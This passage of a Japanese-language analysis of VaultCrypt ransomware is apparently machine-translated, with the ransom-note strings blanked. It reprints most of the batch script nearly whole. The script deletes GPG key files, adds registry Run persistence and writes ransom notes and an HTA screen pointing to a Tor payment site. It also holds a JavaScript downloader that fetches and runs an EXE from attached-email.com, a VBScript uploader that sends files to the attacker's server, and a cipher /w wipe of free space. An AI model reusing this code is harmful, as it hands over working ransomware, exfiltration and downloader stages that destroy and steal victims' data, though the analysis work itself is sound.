"%temp%\9767d5488f9c3dbb.qpq" "%temp%\8f9c3dbb.9767d548" del /f /q "%temp%\secring.gpg" del /f /q "%temp%\3637bf69.36ddf8fe" del /f /q "%temp%\8f9c3dbb.9767d548" del /f /q "%temp%\21b0fb7b.7ca0ec0c" del /f /q "%temp%\random_seed" del /f /q "%temp%\trustdb.gpg" del /f /q "%temp%\secring.gpg" del /f /q "%temp%\*.lock" del /f /q "%temp%\*.bak" attrib -s -h -r "%AppData%\gnupg\*.*" attrib -s -h -r "%AppData%\gnupg" del /f /q "%AppData%\gnupg\*.*" rmdir /s /q "%AppData%\gnupg" copy /y "%temp%\CONFIRMATION.KEY" "%appdata%\CONFIRMATION.KEY" copy /y "%temp%\VAULT.KEY" "%appdata%\VAULT.KEY" copy /y "%temp%\VAULT.KEY" "%temp%\4077430c_VAULT.KEY" echo 01FNSH-OK>> "%temp%\4077430c_VAULT.KEY" echo 02FNSH-OK>> "%temp%\4077430c_VAULT.KEY" echo 03FNSH-OK>> "%temp%\4077430c_VAULT.KEY" echo 04FNSH-OK>> "%temp%\4077430c_VAULT.KEY" echo 05FNSH-OK>> "%temp%\4077430c_VAULT.KEY" echo FHASH-OK>> "%temp%\4077430c_VAULT.KEY" attrib +r "%temp%\4077430c_VAULT.KEY" copy /y "%temp%\VAULT.KEY" "%userprofile%\Desktop\VAULT.KEY"
      
      





次に、暗号化キーを取得するための指示を含む%temp%



ファイルがフォルダーに作成さvault.txt



ます。このファイルにすべての指示を書き込んだ後、ユーザーのデスクトップにコピーされ、「hidden」属性でマークされます。



コード:
 echo.> "%temp%\VAULT.txt" echo            .vult >> "%temp%\VAULT.txt" echo       >> "%temp%\VAULT.txt" echo.>> "%temp%\VAULT.txt" echo   : >> "%temp%\VAULT.txt" echo.>> "%temp%\VAULT.txt" echo >> "%temp%\VAULT.txt" echo 1.    ->> "%temp%\VAULT.txt" echo 2.    >> "%temp%\VAULT.txt" echo 3.     >> "%temp%\VAULT.txt" echo.>> "%temp%\VAULT.txt" echo >> "%temp%\VAULT.txt" echo  1:>> "%temp%\VAULT.txt" echo  Tor    : http://torproject.org>> "%temp%\VAULT.txt" echo  2:>> "%temp%\VAULT.txt" echo  Tor   : http://restoredz4xpmuqr.onion>> "%temp%\VAULT.txt" echo  3:>> "%temp%\VAULT.txt" echo    VAULT.KEY   -      -.   >> "%temp%\VAULT.txt" echo      VAULT.KEY>> "%temp%\VAULT.txt" echo    FAQ     >> "%temp%\VAULT.txt" echo STEP 4:>> "%temp%\VAULT.txt" echo   ,                 >> "%temp%\VAULT.txt" echo.>> "%temp%\VAULT.txt" echo >> "%temp%\VAULT.txt" echo a^)         ^(     ^)>> "%temp%\VAULT.txt" echo b^)       VAULT.KEY,     TEMP >> "%temp%\VAULT.txt" echo c^)     ,   >> "%temp%\VAULT.txt" echo.>> "%temp%\VAULT.txt" echo  : %date% ^(%time:~0,5%^)>> "%temp%\VAULT.txt" copy /y "%temp%\VAULT.txt" "%userprofile%\Desktop\vault.txt" attrib +h "%userprofile%\Desktop\vault.txt"
      
      





次に、スクリプトは別のJSファイル(%temp%\e33176c1.js



)を作成し%temp%\4c2e533d.cmd



、ファイル暗号化ルーチンを含むスクリプト起動します



JSファイルを作成するGPG



と、スクリプトの最初に作成され公開キーインポートされます(すべてのファイルはこのキーで暗号化されます)。%temp%\e33176c1.js



システムの起動時に暗号化手順を開始する(など、いくつかの自動実行コマンドがレジストリに追加されます



コード:
 echo var cdp="%%TeMp%%\\4c2e533d.cmd";var WshShell=CreateObject("WScript.Shell");cdp=WshShell.ExpandEnvironmentStrings(cdp);function CreateObject(fq){return new ActiveXObject(fq)}function xx(cdp){WshShell.Run(cdp,0,0);}xx(''+cdp+'');>> "%temp%\e33176c1.js" "%TEMP%\gpg.exe" --import "%TEMP%\pubring.gpg" reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "e1a04a3c" /t REG_SZ /f /d "notepad %temp%\VAULT.txt" reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ed3f074a" /t REG_SZ /f /d "attrib -h %userprofile%\Desktop\vault.txt" reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "58f139df" /t REG_SZ /f /d "wscript //B //Nologo %temp%\e33176c1.js"
      
      







4.4ファイル暗号化





この時点で、ファイル暗号化スクリプトがすでに準備され、シャドウコピーが削除され、秘密キーが暗号化され、キー情報が消去されています。



最後に、作成されたファイル暗号化スクリプトが起動します。急いで、ほっ!



 call "%temp%\4c2e533d.cmd"
      
      







4.5ユーザーへのメッセージの準備





次のステップは、拡張子が「vault」のファイルを開こうとしたときにユーザーの画面に表示されるHTMLページを作成することです。



コード:
 echo ^<html^>^<head^>^<hta:application BORDER = "none" CAPTION = "No" CONTEXTMENU = "Yes" INNERBORDER = "No" MAXIMIZEBUTTON = "No" MINIMIZEBUTTON = "No" NAVIGABLE = "No" SCROLL = "No" SCROLLFLAT = "No" SELECTION = "Yes" SHOWINTASKBAR = "No" SINGLEINSTANCE = "Yes" SYSMENU = "No"/^>^<style^>body{cursor:default;background-color:#E7E7E7;margin:0;font-family:"HelveticaNeue-Light","Helvetica Neue Light","Helvetica Neue",Helvetica,Arial,sans-serif;text-align:center;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABoAAAAaAgMAAADUJKRdAAAACVBMVEXs7Ozv7+/6+vqH/Ct2AAAAW0lEQVQI11WOsQ2DABADv8gAGQFd4SJTZARGQC5cMBX1T0mD4ClP9lmutf71qW/t3d19VBLDcrNR7KV+F4Mx28OKyMzf/UDINvYADR9A08cwfcnjDwmarOBn7wSqEUpFZuJdBQAAAABJRU5ErkJggg==)}.vaustyle{margin:10px;height:520px;width:1100px}.sc{margin:10px 150px;font-size:40px;width:900px;padding:20px;background-color:#7a7a7a;color:#FF4C4C;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAJ0lEQVR42mXMsQkAAAzDMH+S/69M6VAoeAgGDQFIW/4QQARbwaF+B3+SPGAo8blgAAAAAElFTkSuQmCC)}.briefly{position:absolute;left:50px;width:480px}.detailed{display:inline-block;margin-left:530px;width:660px}.bti{background-color:#DFDFDF;color:#555;font-size:28px;padding:10px}hr{width:90%%}.sced{margin-top:15px;text-align:center;font-size:27px;height:220px;padding:20px;background-color:#6a6a6a;line-height:1.5;color:#EAEAEA;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAJ0lEQVR42mXMsQkAAAzDMH+S/69M6VAoeAgGDQFIW/4QQARbwaF+B3+SPGAo8blgAAAAAElFTkSuQmCC)}form{display:inline}.dbutt{margin-left:2px;font-size:16px;font-weight:500;border:none;background-color:#9f9f9f;color:#EEE;cursor:pointer}.footer{text-align:left;position:relative;width:600px;margin:2px 2px 2px 45px;height:16px;font-size:15px;background-color:#CFCFCF;color:#444;padding:6px}.fnl{font-size:21px}^</style^>^<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/^>^<title^>Vault Notification^</title^>^<script language="vbscript"^>> "%temp%\ddae25beb5b57d6e.hta" echo sub Window_Onload>> "%temp%\ddae25beb5b57d6e.hta" echo window.resizeTo 1280,725>> "%temp%\ddae25beb5b57d6e.hta" echo screenWidth = Document.ParentWindow.Screen.AvailWidth>> "%temp%\ddae25beb5b57d6e.hta" echo screenHeight = Document.ParentWindow.Screen.AvailHeight>> "%temp%\ddae25beb5b57d6e.hta" echo posLeft = (screenWidth - 1280) / 2 >> "%temp%\ddae25beb5b57d6e.hta" echo posTop = (screenHeight - 725) / 2 >> "%temp%\ddae25beb5b57d6e.hta" echo window.moveTo posLeft, posTop >> "%temp%\ddae25beb5b57d6e.hta" echo end sub >> "%temp%\ddae25beb5b57d6e.hta" echo ^</script^>^</head^>^<body scroll="no"^>^<div class="vaustyle"^>^<div class="sc"^>         ^<br^>^☢^ ^<b^> .VAULT^</b^>^ ^☢^</div^>^<div class="sc" style="font-size:20px;width:800px;margin-left:200px;color:#EAEAEA;"^>     ^<b^> ^</b^>^</div^>^<br^>^<div class="briefly"^>^<div class="bti"^>^<b^>:^</b^>^</div^>^<div class="sced"^>  3 :^<hr^> ^➠    -^<br^> ^Ⓑ   ^<br^>^⤷ ^<b^> ^</b^>^</div^>^</div^>^<div class="detailed"^>^<div class="bti"^>^<b^>:^</b^>^</div^>^<div class="sced"^> ^<b^>Tor^</b^>   .  ^<form action="http://dist.torproject.org/torbrowser/4.5.2/torbrowser-install-4.5.2_ru.exe"^>^<input class="dbutt" type="submit" value="⇣ "^>^</form^>^<form action="https://www.torproject.org/projects/torbrowser.html.en#windows"^>^<input class="dbutt" type="submit" value="Help" style="padding-bottom:1px;"^>^</form^>^<hr^>    ^<b^> Tor^</b^>:^<br^>^<div class="bti" style="margin:1px 8%%;padding:0px;cursor:text;"^>http://restoredz4xpmuqr.onion^</div^>^<form action="http://pastebin.com/rs7jZ0TW"^>^<input class="dbutt" type="submit" value=" ?"^>^ ^⤴^</form^>^<hr^>^<div class="fnl"^> ^ ^➤^  ^<b^> ^</b^> ^ ^➤^  ^</div^>^</div^>^<div class="footer"^>^<b^>Note 1:^</b^>        .^</div^>^<div class="footer"^>^<b^>Note 2:^</b^>  ,  ^<u^>^</u^>   ^<b^>VAULT.KEY^</b^>  .^</div^>^<div class="footer"^>^<b^>Note 3:       ^</div^>^</div^>^</body^>^</html^>>> "%temp%\ddae25beb5b57d6e.hta" copy /y "%temp%\ddae25beb5b57d6e.hta" "%appdata%\ddae25beb5b57d6e.hta" del /f /q "%temp%\4c2e533d.cmd" attrib +h "%appdata%\ddae25beb5b57d6e.hta" attrib +r +s "%temp%\VAULT.KEY" attrib +r +s "%appdata%\VAULT.KEY" attrib +r +s "%userprofile%\Desktop\VAULT.KEY"
      
      





フォーマットされたHTML:
 <html> <head> <hta:application BORDER = "none" CAPTION = "No" CONTEXTMENU = "Yes" INNERBORDER = "No" MAXIMIZEBUTTON = "No" MINIMIZEBUTTON = "No" NAVIGABLE = "No" SCROLL = "No" SCROLLFLAT = "No" SELECTION = "Yes" SHOWINTASKBAR = "No" SINGLEINSTANCE = "Yes" SYSMENU = "No"/> <style>body{cursor:default;background-color:#E7E7E7;margin:0;font-family:"HelveticaNeue-Light","Helvetica Neue Light","Helvetica Neue",Helvetica,Arial,sans-serif;text-align:center;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABoAAAAaAgMAAADUJKRdAAAACVBMVEXs7Ozv7+/6+vqH/Ct2AAAAW0lEQVQI11WOsQ2DABADv8gAGQFd4SJTZARGQC5cMBX1T0mD4ClP9lmutf71qW/t3d19VBLDcrNR7KV+F4Mx28OKyMzf/UDINvYADR9A08cwfcnjDwmarOBn7wSqEUpFZuJdBQAAAABJRU5ErkJggg==)}.vaustyle{margin:10px;height:520px;width:1100px}.sc{margin:10px 150px;font-size:40px;width:900px;padding:20px;background-color:#7a7a7a;color:#FF4C4C;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAJ0lEQVR42mXMsQkAAAzDMH+S/69M6VAoeAgGDQFIW/4QQARbwaF+B3+SPGAo8blgAAAAAElFTkSuQmCC)}.briefly{position:absolute;left:50px;width:480px}.detailed{display:inline-block;margin-left:530px;width:660px}.bti{background-color:#DFDFDF;color:#555;font-size:28px;padding:10px}hr{width:90%%}.sced{margin-top:15px;text-align:center;font-size:27px;height:220px;padding:20px;background-color:#6a6a6a;line-height:1.5;color:#EAEAEA;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAJ0lEQVR42mXMsQkAAAzDMH+S/69M6VAoeAgGDQFIW/4QQARbwaF+B3+SPGAo8blgAAAAAElFTkSuQmCC)}form{display:inline}.dbutt{margin-left:2px;font-size:16px;font-weight:500;border:none;background-color:#9f9f9f;color:#EEE;cursor:pointer}.footer{text-align:left;position:relative;width:600px;margin:2px 2px 2px 45px;height:16px;font-size:15px;background-color:#CFCFCF;color:#444;padding:6px}.fnl{font-size:21px} </style> <meta http-equiv="Content-Type" content="text/html;charset=utf-8"/> <title>Vault Notification</title> <script language="vbscript"> sub Window_Onload window.resizeTo 1280,725 screenWidth = Document.ParentWindow.Screen.AvailWidth screenHeight = Document.ParentWindow.Screen.AvailHeight posLeft = (screenWidth - 1280) / 2 posTop = (screenHeight - 725) / 2 window.moveTo posLeft, posTop end sub </script> </head> <body scroll="no"> <div class="vaustyle"> <div class="sc">          <br><b> .VAULT</b></div> <div class="sc" style="font-size:20px;width:800px;margin-left:200px;color:#EAEAEA;">      <b> </b> </div> <br> <div class="briefly"> <div class="bti"> <b>:</b> </div> <div class="sced">   3 :<hr> ➠    -<br><br><b> </b> </div> </div> <div class="detailed"> <div class="bti"> <b>:</b> </div> <div class="sced"> <b>Tor</b>   .  <form action="http://dist.torproject.org/torbrowser/4.5.2/torbrowser-install-4.5.2_ru.exe"> <input class="dbutt" type="submit" value="⇣ "> </form> <form action="https://www.torproject.org/projects/torbrowser.html.en#windows"> <input class="dbutt" type="submit" value="Help" style="padding-bottom:1px;"> </form> <hr>    <b> Tor</b>:<br> <div class="bti" style="margin:1px 8%%;padding:0px;cursor:text;"> http://restoredz4xpmuqr.onion </div> <form action="http://pastebin.com/rs7jZ0TW"> <input class="dbutt" type="submit" value=" ?"></form><hr> <div class="fnl"><b> </b></div> </div> <div class="footer"> <b>Note 1:</b>        . </div> <div class="footer"> <b>Note 2:</b>  ,  <u></u>   <b>VAULT.KEY</b>  . </div> <div class="footer"> <b>Note 3:        </div> </div> </body> </html>
      
      





注意:








, ?



写真:






4.6攻撃者サーバーからユーティリティをダウンロードして実行する(機能しません)





最後に、ラベルの後のコード部分は残り:6d0f24b8



ます。



書式なしコード:
 :6d0f24b8 echo do_vbsUpload > "%temp%\77406a1e.vbs" echo Sub do_vbsUpload^(^) >> "%temp%\77406a1e.vbs" echo Dim FileName,DestURL,FieldName >> "%temp%\77406a1e.vbs" echo FieldName="FileField" >> "%temp%\77406a1e.vbs" echo Dim aCounter,Arg >> "%temp%\77406a1e.vbs" echo aCounter=1 >> "%temp%\77406a1e.vbs" echo For Each Arg In WScript.Arguments >> "%temp%\77406a1e.vbs" echo Select Case aCounter >> "%temp%\77406a1e.vbs" echo Case 1: FileName=Arg >> "%temp%\77406a1e.vbs" echo Case 2: DestURL=Arg >> "%temp%\77406a1e.vbs" echo Case 3: FieldName=Arg >> "%temp%\77406a1e.vbs" echo End Select >> "%temp%\77406a1e.vbs" echo aCounter=aCounter+1 >> "%temp%\77406a1e.vbs" echo Next >> "%temp%\77406a1e.vbs" echo UploadFile DestURL,FileName,FieldName >> "%temp%\77406a1e.vbs" echo End Sub >> "%temp%\77406a1e.vbs" echo Sub UploadFile^(DestURL,FileName,FieldName^) >> "%temp%\77406a1e.vbs" echo Const Boundary="---------------------------0123456789012" >> "%temp%\77406a1e.vbs" echo Dim FileContents,FormData >> "%temp%\77406a1e.vbs" echo FileContents=GetFile^(FileName^) >> "%temp%\77406a1e.vbs" echo FormData=BuildFormData^(FileContents,Boundary,FileName,FieldName^) >> "%temp%\77406a1e.vbs" echo IEPostBinaryRequest DestURL,FormData,Boundary >> "%temp%\77406a1e.vbs" echo End Sub >> "%temp%\77406a1e.vbs" echo Function BuildFormData^(FileContents,Boundary,FileName,FieldName^) >> "%temp%\77406a1e.vbs" echo Dim FormData,Pre,Po >> "%temp%\77406a1e.vbs" echo Const ContentType="application/upload" >> "%temp%\77406a1e.vbs" echo Pre="--"+Boundary+vbCrLf+mpFields^(FieldName,FileName,ContentType^) >> "%temp%\77406a1e.vbs" echo Po=vbCrLf+"--"+Boundary+"--"+vbCrLf >> "%temp%\77406a1e.vbs" echo Const adLongVarBinary=205 >> "%temp%\77406a1e.vbs" echo Dim RS: Set RS=CreateObject^("ADODB.Recordset"^) >> "%temp%\77406a1e.vbs" echo RS.Fields.Append "b",adLongVarBinary,Len^(Pre^)+LenB^(FileContents^)+Len^(Po^) >> "%temp%\77406a1e.vbs" echo RS.Open >> "%temp%\77406a1e.vbs" echo RS.AddNew >> "%temp%\77406a1e.vbs" echo Dim LenData >> "%temp%\77406a1e.vbs" echo LenData=Len^(Pre^) >> "%temp%\77406a1e.vbs" echo RS^("b"^).AppendChunk^(StringToMB^(Pre^) ^& ChrB^(0^)^) >> "%temp%\77406a1e.vbs" echo Pre=RS^("b"^).GetChunk^(LenData^) >> "%temp%\77406a1e.vbs" echo RS^("b"^)="" >> "%temp%\77406a1e.vbs" echo LenData=Len^(Po^) >> "%temp%\77406a1e.vbs" echo RS^("b"^).AppendChunk^(StringToMB^(Po^) ^& ChrB^(0^)^) >> "%temp%\77406a1e.vbs" echo Po=RS^("b"^).GetChunk^(LenData^) >> "%temp%\77406a1e.vbs" echo RS^("b"^)="" >> "%temp%\77406a1e.vbs" echo RS^("b"^).AppendChunk^(Pre^) >> "%temp%\77406a1e.vbs" echo RS^("b"^).AppendChunk^(FileContents^) >> "%temp%\77406a1e.vbs" echo RS^("b"^).AppendChunk^(Po^) >> "%temp%\77406a1e.vbs" echo RS.Update >> "%temp%\77406a1e.vbs" echo FormData=RS^("b"^) >> "%temp%\77406a1e.vbs" echo RS.Close >> "%temp%\77406a1e.vbs" echo BuildFormData=FormData >> "%temp%\77406a1e.vbs" echo End Function >> "%temp%\77406a1e.vbs" echo Function IEPostBinaryRequest^(URL,FormData,Boundary^) >> "%temp%\77406a1e.vbs" echo Dim IE: Set IE=CreateObject^("InternetExplorer.Application"^) >> "%temp%\77406a1e.vbs" echo IE.Navigate URL,,,FormData,_ >> "%temp%\77406a1e.vbs" echo "Content-Type: multipart/form-data; boundary="+Boundary+vbCrLf >> "%temp%\77406a1e.vbs" echo do While IE.Busy >> "%temp%\77406a1e.vbs" echo Wait >> "%temp%\77406a1e.vbs" echo Loop >> "%temp%\77406a1e.vbs" echo On Error Resume Next >> "%temp%\77406a1e.vbs" echo IEPostBinaryRequest=IE.Document.body.innerHTML >> "%temp%\77406a1e.vbs" echo IE.Quit >> "%temp%\77406a1e.vbs" echo End Function >> "%temp%\77406a1e.vbs" echo Function mpFields^(FieldName,FileName,ContentType^) >> "%temp%\77406a1e.vbs" echo Dim MPtemplate >> "%temp%\77406a1e.vbs" echo MPtemplate="Content-Disposition: form-data; name=""{field}"";"+_ >> "%temp%\77406a1e.vbs" echo " filename=""{file}"""+vbCrLf+_ >> "%temp%\77406a1e.vbs" echo "Content-Type: {ct}"+vbCrLf+vbCrLf >> "%temp%\77406a1e.vbs" echo Dim Out >> "%temp%\77406a1e.vbs" echo Out=Replace^(MPtemplate,"{field}",FieldName^) >> "%temp%\77406a1e.vbs" echo Out=Replace^(Out,"{file}",FileName^) >> "%temp%\77406a1e.vbs" echo mpFields=Replace^(Out,"{ct}",ContentType^) >> "%temp%\77406a1e.vbs" echo End Function >> "%temp%\77406a1e.vbs" echo Function GetFile^(FileName^) >> "%temp%\77406a1e.vbs" echo Dim Stream: Set Stream=CreateObject^("ADODB.Stream"^) >> "%temp%\77406a1e.vbs" echo Stream.Type=1 >> "%temp%\77406a1e.vbs" echo Stream.Open >> "%temp%\77406a1e.vbs" echo Stream.LoadFromFile FileName >> "%temp%\77406a1e.vbs" echo GetFile=Stream.Read >> "%temp%\77406a1e.vbs" echo Stream.Close >> "%temp%\77406a1e.vbs" echo End Function >> "%temp%\77406a1e.vbs" echo Function StringToMB^(S^) >> "%temp%\77406a1e.vbs" echo Dim I,B >> "%temp%\77406a1e.vbs" echo For I=1 To Len^(S^) >> "%temp%\77406a1e.vbs" echo B=B ^& ChrB^(Asc^(Mid^(S,I,1^)^)^) >> "%temp%\77406a1e.vbs" echo Next >> "%temp%\77406a1e.vbs" echo StringToMB=B >> "%temp%\77406a1e.vbs" echo End Function >> "%temp%\77406a1e.vbs" echo Sub Wait^(^) >> "%temp%\77406a1e.vbs" echo On Error Resume Next >> "%temp%\77406a1e.vbs" echo End Sub >> "%temp%\77406a1e.vbs" echo var fp="%%temp%%\\",os="attached-email",WshShell=CreateObject^("WScript.Shell"^),fp=WshShell.ExpandEnvironmentStrings^(fp^);function CreateObject^(b^){return new ActiveXObject^(b^)}function dw^(b,d^){var c=new ActiveXObject^("MSXML2.XMLHTTP"^);c.open^("GET",b,0^);c.send^(^);new ActiveXObject^("Scripting.FileSystemObject"^);var a=new ActiveXObject^("ADODB.Stream"^);a.Open^(^);a.Type=1;a.Write^(c.ResponseBody^);a.Position=0;a.SaveToFile^(d,2^);a.Close^(^)}dw^("http://"+os+".com/v.vlt",""+fp+"30cb056a.exe"^); > "%temp%\885873e9.js" wscript.exe //B //Nologo //T:120 "%temp%\885873e9.js" if exist 30cb056a.exe ( "%temp%\30cb056a.exe" -f "%temp%\91c09c60.25ca7a7c" wscript.exe //B //Nologo //T:120 "%temp%\77406a1e.vbs" "%temp%\91c09c60.25ca7a7c" http://attached-email.com/v.php pf del /f /q 30cb056a.exe ) del /f /q "%temp%\885873e9.js" del /f /q "%temp%\77406a1e.vbs" del /f /q "%temp%\91c09c60.25ca7a7c" attrib -h -s "%temp%\9480bf43.76a94786" del /f /q "%temp%\9480bf43.76a94786" del /f /q "%temp%\*.gpg" del /f /q "%temp%\*.*xe" echo Y|assoc .vault=d21f132a echo Y|ftype "d21f132a"=mshta.exe vbscript:Execute^(^"msgbox ^"^" BLOCK:^"^"^&vbNewLine^&^"^" %%1^"^"^&vbNewLine^&vbNewLine^&ChrW^(10139^)^&^"^" KEY PURCHASE: http://restoredz4xpmuqr.onion^"^"^&vbNewLine^&vbNewLine^&^"^" [accessible only via Tor Browser: http://torproject.org]^"^",16,^"^"VaultCrypt [Need to purchase key]^"^":close^"^) echo Y|assoc "d21f132a"\DefaultIcon=%SystemRoot%\System32\shell32.dll,-48 reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "b320494e" /t REG_SZ /f /d "mshta %appdata%\ddae25beb5b57d6e.hta" reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "e1a04a3c" /f del /f /q "%temp%\e33176c1.js" reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "58f139df" /f reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ed3f074a" /f start mshta "%temp%\ddae25beb5b57d6e.hta" attrib -s -h "%temp%\9480bf43.76a94786" del /f /q "%temp%\9480bf43.76a94786" if exist "%systemroot%\system32\cipher.exe" ( FOR %%s IN (ABCDEFGHIJKLMNOPQRSTU VWXYZ) DO call :461cd8b8 %%s goto 3c5d9ac8 :461cd8b8 cipher /w:%1: goto:eof :3c5d9ac8 ) del /f /q %0 :871c371d
      
      





コードのこのセクションの最初に、VBScriptファイルが作成されます。このファイルは、攻撃者のサーバーにデータを送信するように設計されています。このスクリプトは、入力として3つの引数を取ります。



書式設定されたコード:
 do_vbsUpload Sub do_vbsUpload() Dim FileName, DestURL, FieldName FieldName = "FileField" Dim aCounter, Arg aCounter = 1 For Each Arg In WScript.Arguments Select Case aCounter Case 1: FileName = Arg Case 2: DestURL = Arg Case 3: FieldName = Arg End Select aCounter = aCounter + 1 Next UploadFile DestURL, FileName, FieldName End Sub Sub UploadFile(DestURL, FileName, FieldName) Const Boundary = "---------------------------0123456789012" Dim FileContents, FormData FileContents = GetFile(FileName) FormData = BuildFormData(FileContents, Boundary, FileName, FieldName) IEPostBinaryRequest DestURL, FormData, Boundary End Sub Function BuildFormData(FileContents, Boundary, FileName, FieldName) Dim FormData, Pre, Po Const ContentType = "application/upload" Pre = "--" + Boundary + vbCrLf + mpFields(FieldName, FileName, ContentType) Po = vbCrLf + "--" + Boundary + "--" + vbCrLf Const adLongVarBinary = 205 Dim RS: Set RS = CreateObject("ADODB.Recordset") RS.Fields.Append "b", adLongVarBinary, Len(Pre) = LenB(FileContents) = Len(Po) RS.Open RS.AddNew Dim LenData LenData = Len(Pre) RS("b").AppendChunk(StringToMB(Pre) & ChrB(0)) Pre = RS("b").GetChunk(LenData) RS("b") = "" LenData = Len(Po) RS("b").AppendChunk(StringToMB(Po) & ChrB(0)) Po = RS("b").GetChunk(LenData) RS("b") = "" RS("b").AppendChunk(Pre) RS("b").AppendChunk(FileContents) RS("b").AppendChunk(Po) RS.Update FormData = RS("b") RS.Close BuildFormData = FormData End Function Function IEPostBinaryRequest(URL, FormData, Boundary) Dim IE: Set IE = CreateObject("InternetExplorer.Application") IE.Navigate URL,,,FormData,_ "Content-Type: multipart/form-data; boundary = " + Boundary + vbCrLf do While IE.Busy Wait Loop On Error Resume Next IEPostBinaryRequest = IE.Document.body.innerHTML IE.Quit End Function Function mpFields(FieldName, FileName, ContentType) Dim MPtemplate MPtemplate = "Content-Disposition: form-data; name = ""{field}"";"+_ " filename = ""{file}""" + vbCrLf+_ "Content-Type: {ct}" + vbCrLf + vbCrLf Dim Out Out = Replace(MPtemplate, "{field}", FieldName) Out = Replace(Out, "{file}", FileName) mpFields = Replace(Out, "{ct}", ContentType) End Function Function GetFile(FileName) Dim Stream: Set Stream = CreateObject("ADODB.Stream") Stream.Type = 1 Stream.Open Stream.LoadFromFile FileName GetFile = Stream.Read Stream.Close End Function Function StringToMB(S) Dim I, B For I = 1 To Len(S) B = B & ChrB(Asc(Mid(S, I, 1))) Next StringToMB = B End Function Sub Wait() On Error Resume Next End Sub
      
      





次に、%temp%



JSファイルがフォルダーに作成されます。これにより、攻撃者サーバーからEXEファイルがダウンロードされ、フォルダーに保存されます%temp%







残念ながら、この開発者サイトが早すぎて廃止されているため、このスクリプトを入手することはできません。



コード:
 var fp = "%%temp%%\\", os = "attached-email", WshShell = CreateObject("WScript.Shell"), fp = WshShell.ExpandEnvironmentStrings(fp); function CreateObject(b) { return new ActiveXObject(b) } function dw(b, d) { var c = new ActiveXObject("MSXML2.XMLHTTP"); c.open("GET", b, 0); c.send(); new ActiveXObject("Scripting.FileSystemObject"); var a = new ActiveXObject("ADODB.Stream"); a.Open(); a.Type = 1; a.Write(c.ResponseBody); a.Position = 0; a.SaveToFile(d, 2); a.Close() } dw("http://" + os + ".com/v.vlt", "" + fp + "30cb056a.exe");
      
      





その後、新しく作成されたJSファイルとVBファイル、および侵入者のWebサイトからダウンロードされたEXEファイルが実行のために呼び出されます(後者が正常にダウンロードされた場合)。



このEXEファイルが実行するアクションに関する情報はありません。どうやら、彼の仕事の結果は91c09c60.25ca7a7c



、攻撃者のサーバーにアップロードされたファイルです



コード:
 wscript.exe //B //Nologo //T:120 "%temp%\885873e9.js" if exist 30cb056a.exe ( "%temp%\30cb056a.exe" -f "%temp%\91c09c60.25ca7a7c" wscript.exe //B //Nologo //T:120 "%temp%\77406a1e.vbs" "%temp%\91c09c60.25ca7a7c" http://attached-email.com/v.php pf del /f /q 30cb056a.exe )
      
      







4.7最終段階





これにより、不要なスクリプトとEXEファイル、および作成されたユーティリティファイルが削除されGPG



ます。



コード:
 del /f /q "%temp%\885873e9.js" del /f /q "%temp%\77406a1e.vbs" del /f /q "%temp%\91c09c60.25ca7a7c" attrib -h -s "%temp%\9480bf43.76a94786" del /f /q "%temp%\9480bf43.76a94786" del /f /q "%temp%\*.gpg" del /f /q "%temp%\*.*xe"
      
      





その後、スクリプトは拡張子「vault」のファイルオープンハンドラをインストールします。このようなファイルを開くと、キーへのリンクを含むウィンドウがユーザーに表示されます。



写真:




注意:
- , «vault» .



次に、以前に作成されたHTMLアプリケーション(%appdata%\ddae25beb5b57d6e.hta



)が自動実行に追加され、システムが起動するたびにそのウィンドウが画面に表示されます。



コード:
 echo Y|assoc .vault=d21f132a echo Y|ftype "d21f132a"=mshta.exe vbscript:Execute^(^"msgbox ^"^" BLOCK:^"^"^&vbNewLine^&^"^" %%1^"^"^&vbNewLine^&vbNewLine^&ChrW^(10139^)^&^"^" KEY PURCHASE: http://restoredz4xpmuqr.onion^"^"^&vbNewLine^&vbNewLine^&^"^" [accessible only via Tor Browser: http://torproject.org]^"^",16,^"^"VaultCrypt [Need to purchase key]^"^":close^"^) echo Y|assoc "d21f132a"\DefaultIcon=%SystemRoot%\System32\shell32.dll,-48 reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "b320494e" /t REG_SZ /f /d "mshta %appdata%\ddae25beb5b57d6e.hta"
      
      





その後、以前に作成されたキーは自動実行から削除され、キーの取得方法に関する指示が記載されたテキストドキュメントが開きます(OSをロードすると、テキストファイルではなくHTMLアプリケーションウィンドウが表示されます)。また、暗号化手順の呼び出しは自動実行から削除されます(この時点で、すべてのファイルはすでに暗号化されているため)。



その後、HTMLアプリケーションが起動され、PC上のすべてのファイルが暗号化されていることを示す楽しいメッセージが表示されます。



最後に、ファイルが削除されます9480bf43.76a94786



。これは、悪意のあるスクリプトのインスタンスが既に実行されていることを示すマーカーです。これで再起動できます。)



コード:
 reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "e1a04a3c" /f del /f /q "%temp%\e33176c1.js" reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "58f139df" /f reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ed3f074a" /f start mshta "%temp%\ddae25beb5b57d6e.hta" attrib -s -h "%temp%\9480bf43.76a94786" del /f /q "%temp%\9480bf43.76a94786"
      
      





最後から2番目のステップはcipher



、ファイルに割り当てられていないハードディスクのセクター上のすべての情報を上書きするように指示するパラメーターを使用して、すべてのボリュームに対してユーティリティーを呼び出すことです。このコマンドを使用すると、以前に削除されたファイルのデータは物理レベルで永久に再消去されます。



コード:
